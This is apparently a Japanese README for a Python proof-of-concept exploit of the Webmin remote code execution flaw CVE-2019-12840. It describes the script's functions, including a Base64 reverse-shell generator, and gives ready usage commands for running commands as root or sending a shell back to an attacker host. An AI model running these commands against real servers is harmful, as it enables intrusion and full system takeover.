
これは、CVE-2019-12840の脆弱性に関する私自身の基本的な概念実証であり、rootでRCEを提供します。
このリポジトリには、Webmin の脆弱性 CVE-2019-12840 を悪用する Python スクリプトが含まれています。
スクリプトは Webmin サーバーにログインし、CVE-2019-12840 の脆弱性を悪用しようとします。スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、いくつかのコマンドライン引数を受け付けます。
このスクリプトを使用するには、少なくともユーザー名、パスワード、および Webmin サーバーの URL を指定する必要があります。以下はスクリプトの使用例です。
python exploit.py -U username -P password -u http://localhost:10000 -lhost 10.x.x.x -lport 443
このリポジトリ内の Python スクリプトは次のように構成されています。
モジュールのインポート: スクリプトは、動作に必要な複数の Python モジュールをインポートすることから始まります。これには、HTTP リクエストを行うための requests、コマンドライン引数を処理するための argparse、Base64 エンコード/デコードのための base64、HTML 解析のための BeautifulSoup が含まれます。
関数の定義: スクリプトは複数の関数を定義します。
CVE_2019_12840(url,auth_base64,cmd): この関数は、特定のペイロードを使用して特定の URL に POST リクエストを送信し、応答を確認します。login(username,password,url): この関数は、指定されたユーザー名とパスワードを使用して Webmin サーバーにログインしようとします。exploit(sid,url,cmd): この関数は、Webmin サーバーの CVE-2019-12840 脆弱性を悪用しようとします。b64revshell(lhost,lport): この関数は、Base64 エンコードされたリバースシェルを生成します。コマンドライン引数の処理: スクリプトは、Webmin サーバーにログインするためのユーザー名とパスワード、サーバーの URL、サーバーのポート、リバースシェル用のローカルポート、サーバー上で実行するコマンドなど、複数のコマンドライン引数を受け付けます。
エクスプロイトの実行: スクリプトが (モジュールとしてインポートされるのではなく) スタンドアロンプログラムとして実行された場合、Webmin サーバーにログインしてからエクスプロイトを実行します。
スクリプトは複数のコマンドライン引数を受け付けます。以下はスクリプトの使用例です。
python3 CVE-2019-12840.py -h
これにより、プログラムのヘルプが表示されます。ヘルプには次の内容が含まれます。
_______ ________ ___ ___ __ ___ __ ___ ___ _ _ ___
/ ____\ \ / / ____| |__ \ / _ \/_ |/ _ \ /_ |__ \ / _ \| || | / _ \
| | \ \ / /| |__ ______ ) | | | || | (_) |______| | ) | (_) | || |_| | | |
| | \ \/ / | __|______/ /| | | || |\__, |______| | / / > _ <|__ _| | | |
| |____ \ / | |____ / /_| |_| || | / / | |/ /_| (_) | | | | |_| |
\_____| \/ |______| |____|\___/ |_| /_/ |_|____|\___/ |_| \___/
by CyberMonkey
Webmin <= 1.910 RCE (Authorization Required)
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -c "id"
usage: python CVE-2019-12840.py -u https://10.10.10.10 -U matt -P Secret123 -lhost <LOCAL_IP> -lport 443
usage: CVE-2019-12840.py [-h] -U USERNAME -P PASSWORD -u URL [-p PORT] [-lport LPORT] (-c CMD | -lhost LHOST)
options:
-h, --help show this help message and exit
-U USERNAME username
-P PASSWORD password
-u URL target url
-p PORT target port
-lport LPORT local port for reverse shell
-c CMD command to execute
-lhost LHOST Send back a reverse shell at port 443
このスクリプトはセキュリティエクスプロイトであり、ペネトレーションテストやセキュリティ研究などの正当な目的にのみ使用する必要があります。違法行為に使用してはなりません。また、このスクリプトは CVE-2019-12840 の脆弱性がある Webmin サーバーで使用するために設計されているため、すべてのバージョンの Webmin で動作するとは限りません。